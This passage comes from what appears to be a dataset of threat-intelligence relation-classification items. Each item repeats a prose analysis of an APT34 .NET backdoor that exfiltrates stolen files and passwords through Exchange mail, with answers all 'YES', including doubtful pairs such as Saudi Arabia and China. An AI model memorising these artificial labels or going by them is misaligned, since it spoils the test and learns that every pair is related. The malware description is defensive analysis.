through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: .Net\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: .Net backdoor\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: Microsoft Exchange\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: Excel\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: EWS\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSaitama\n### Target Entity: .Net backdoor\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSaudi Arabia\n### Target Entity: China\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, 